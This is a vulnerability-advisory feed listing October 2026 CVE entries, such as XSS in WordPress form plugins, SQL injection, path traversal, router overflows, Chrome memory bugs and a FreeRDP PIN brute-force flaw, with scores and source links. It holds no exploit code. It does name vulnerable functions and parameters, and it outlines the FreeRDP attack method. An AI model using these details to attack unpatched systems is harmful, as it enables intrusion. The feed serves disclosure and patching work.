Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms allows Reflected XSS.This issue affects Live Summary for Gravity Forms: from n/a through 1.2.10.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110884).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110884&date=2026-10-25).
Sources:
NVD CVE-2026-110884: https://nvd.nist.gov/vuln/detail/CVE-2026-110884
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110884&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in geekontheroad Live Summary for Gravity Forms live-summary-for-gravity-forms allows Reflected XSS.This issue affects Live Summary for Gravity Forms: from n/a through 1.2.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects...
https://kevwire.com/record/CVE-2026-110899
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects... (Oct 21, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects Ninja Forms: from n/a through 3.15.5.
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110899).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110899&date=2026-10-25).
Sources:
NVD CVE-2026-110899: https://nvd.nist.gov/vuln/detail/CVE-2026-110899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110899&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kevin Stover Ninja Forms ninja-forms allows Stored XSS.This issue affects Ninja Forms: from n/a through 3.15.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component...
https://kevwire.com/record/CVE-2026-113736
A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component... (Oct 21, 2026).
A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component HNAP Login. The manipulation of the argument Password leads to empty password in configuration file. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
CVSS 8.9 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113736).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113736&date=2026-10-25).
Sources:
NVD CVE-2026-113736: https://nvd.nist.gov/vuln/detail/CVE-2026-113736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113736&date=2026-10-25
A vulnerability has been found in D-Link DHP-W610AV 1.02EUb03. The impacted element is the function login_prepare_hnap of the file etc/defnodes/defaultvalue.xml of the component HNAP Login. The manipulation of the argument Password leads to empty password in configuration file. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads...
https://kevwire.com/record/CVE-2026-113738
A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads... (Oct 21, 2026).
A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads of the file qwen-mtp-gguf/scripts/qwen_mtp_gguf_pipeline.py of the component MTP weight_map Handler. The manipulation of the argument shard_name leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113738).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113738&date=2026-10-25).
Sources:
NVD CVE-2026-113738: https://nvd.nist.gov/vuln/detail/CVE-2026-113738
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113738&date=2026-10-25
A vulnerability has been found in R6410418 Jackrong-llm-finetuning-guide up to ef2b17f2798cd18cd85375080c35a58397ad0d09. This vulnerability affects the function extract_mtp_heads of the file qwen-mtp-gguf/scripts/qwen_mtp_gguf_pipeline.py of the component MTP weight_map Handler. The manipulation of the argument shard_name leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file...
https://kevwire.com/record/CVE-2026-113743
A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file... (Oct 21, 2026).
A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file models/tt_transformers/tt/load_checkpoints.py. This manipulation of the argument weight_map causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.81.0-dev20261016 is sufficient to fix this issue. Patch name: 4851ccf347f6903c3d819eed60705600386e52c3. It is suggested to upgrade the affected component.
CVSS 2.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113743).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113743&date=2026-10-25).
Sources:
NVD CVE-2026-113743: https://nvd.nist.gov/vuln/detail/CVE-2026-113743
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113743&date=2026-10-25
A weakness has been identified in Tenstorrent tt-metal up to 0.80.0. The affected element is the function load_hf_state_dict_filtered of the file models/tt_transformers/tt/load_checkpoints.py. This manipulation of the argument weight_map causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.81.0-dev20261016 is sufficient to fix this issue. Patch name: 4851ccf347f6903c3d819eed60705600386e52c3. It is suggested to upgrade the affected component.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component...
https://kevwire.com/record/CVE-2026-113744
A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component... (Oct 21, 2026).
A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component httpd Web Management Service. Such manipulation of the argument firewallEn leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.
CVSS 9.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113744).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113744&date=2026-10-25).
Sources:
NVD CVE-2026-113744: https://nvd.nist.gov/vuln/detail/CVE-2026-113744
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113744&date=2026-10-25
A security vulnerability has been detected in Tenda AC19 16.03.10.07. The impacted element is the function formSetFirewallCfg of the file /goform/SetFirewallCfg of the component httpd Web Management Service. Such manipulation of the argument firewallEn leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the...
https://kevwire.com/record/CVE-2026-114242
A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the... (Oct 21, 2026).
A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the function mysqli_query of the file /Admin/View/editPlan.php. Such manipulation of the argument Plan_no/Name leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114242).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114242&date=2026-10-25).
Sources:
NVD CVE-2026-114242: https://nvd.nist.gov/vuln/detail/CVE-2026-114242
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114242&date=2026-10-25
A vulnerability was identified in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected is the function mysqli_query of the file /Admin/View/editPlan.php. Such manipulation of the argument Plan_no/Name leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this...
https://kevwire.com/record/CVE-2026-114243
A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this... (Oct 21, 2026).
A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this vulnerability is the function mysqli_query of the file /Agent/ManagePolicy/EditPolicyHolder.php. Performing a manipulation of the argument Policy_no/Name results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114243).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114243&date=2026-10-25).
Sources:
NVD CVE-2026-114243: https://nvd.nist.gov/vuln/detail/CVE-2026-114243
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114243&date=2026-10-25
A security flaw has been discovered in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. Affected by this vulnerability is the function mysqli_query of the file /Agent/ManagePolicy/EditPolicyHolder.php. Performing a manipulation of the argument Policy_no/Name results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability...
https://kevwire.com/record/CVE-2026-114249
A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability... (Oct 21, 2026).
A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability affects unknown code of the file /Agent/includes/UpdatePolicyHolder-inc.php of the component Policy Holder Update Form. The manipulation of the argument Policy_no results in improper authorization. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114249).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114249&date=2026-10-25).
Sources:
NVD CVE-2026-114249: https://nvd.nist.gov/vuln/detail/CVE-2026-114249
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114249&date=2026-10-25
A vulnerability was detected in dhikshitha29 Insurance-Management-System 91de5edda5baa109ad8e9baf03ce6a3ceda84183/125362cc21dca20d74091a4913a5096bb58dd837. This vulnerability affects unknown code of the file /Agent/includes/UpdatePolicyHolder-inc.php of the component Policy Holder Update Form. The manipulation of the argument Policy_no results in improper authorization. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113076
Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113076).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113076&date=2026-10-25).
Sources:
NVD CVE-2026-113076: https://nvd.nist.gov/vuln/detail/CVE-2026-113076
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113076&date=2026-10-25
Use after free in Toolbar in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113079
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113079).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113079&date=2026-10-25).
Sources:
NVD CVE-2026-113079: https://nvd.nist.gov/vuln/detail/CVE-2026-113079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113079&date=2026-10-25
Use after free in SiteIsolation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113080
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113080).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113080&date=2026-10-25).
Sources:
NVD CVE-2026-113080: https://nvd.nist.gov/vuln/detail/CVE-2026-113080
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113080&date=2026-10-25
Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113083
Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113083).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113083&date=2026-10-25).
Sources:
NVD CVE-2026-113083: https://nvd.nist.gov/vuln/detail/CVE-2026-113083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113083&date=2026-10-25
Memory corruption in Actor in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113180
Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113180).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113180&date=2026-10-25).
Sources:
NVD CVE-2026-113180: https://nvd.nist.gov/vuln/detail/CVE-2026-113180
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113180&date=2026-10-25
Memory corruption in ContentCapture in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter...
https://kevwire.com/record/CVE-2026-109949
FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter... (Oct 13, 2026).
FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter per-handle. A malicious RDP server can exhaust the counter with VERIFY APDUs, then request a new SCardConnect to reset attempts, enabling unbounded online brute-forcing of the configured smartcard PIN.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109949).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109949&date=2026-10-25).
Sources:
NVD CVE-2026-109949: https://nvd.nist.gov/vuln/detail/CVE-2026-109949
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-chh2-527f-x255
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109949&date=2026-10-25
FreeRDP 3.0.0 before 3.32.0 contains an improper restriction of excessive authentication attempts in its virtual smartcard GIDS implementation, which stores the PIN retry counter per-handle. A malicious RDP server can exhaust the counter with VERIFY APDUs, then request a new SCardConnect to reset attempts, enabling unbounded online brute-forcing of the configured smartcard PIN.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70093
Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70093).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70093&date=2026-10-25).
Sources:
NVD CVE-2026-70093: https://nvd.nist.gov/vuln/detail/CVE-2026-70093
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70093&date=2026-10-25
Heap-based buffer overflow in Windows Rich Text Edit Control allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83879
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83879).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83879&date=2026-10-25).
Sources:
NVD CVE-2026-83879: https://nvd.nist.gov/vuln/detail/CVE-2026-83879
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83879
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83879&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83881
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83881).
